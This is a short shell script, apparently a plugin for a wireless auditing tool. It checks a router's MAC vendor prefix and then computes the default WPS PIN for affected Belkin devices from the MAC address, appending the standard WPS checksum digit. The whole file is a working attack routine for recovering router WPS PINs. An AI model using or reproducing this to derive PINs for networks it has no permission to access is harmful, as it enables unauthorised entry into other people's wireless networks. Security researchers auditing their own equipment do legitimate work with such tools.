blob: 65448ad0c2918fad712d89af60128e390512dd97 (
plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
|
#!/bin/sh
cd $(dirname $(readlink -f $0))
. ./plugin_core
parse_plugin_args "$@"
if ! check_vendor_mac "$VENDOR_MAC" 002275 001CDF 09863B; then
echo "VENDOR MAC $VENDOR_MAC not affected"
exit 1
fi
calc_belkin(){
PRIVATE_MAC=${1}
p=$((0x$PRIVATE_MAC % 10000000))
wps_pin_checksum(){
pin=$1
accum=0
while [ $pin -ne 0 ];do
accum=$((accum + (3 * (pin % 10)) ))
pin=$((pin/10))
accum=$((accum + pin %10 ))
pin=$((pin/10))
done
echo $(( (10 - accum % 10) % 10))
}
printf "%07d%d" $p $(wps_pin_checksum $p)
return 0
}
printf "WPS-PIN: %s" $(calc_belkin ${PRIVATE_MAC})
|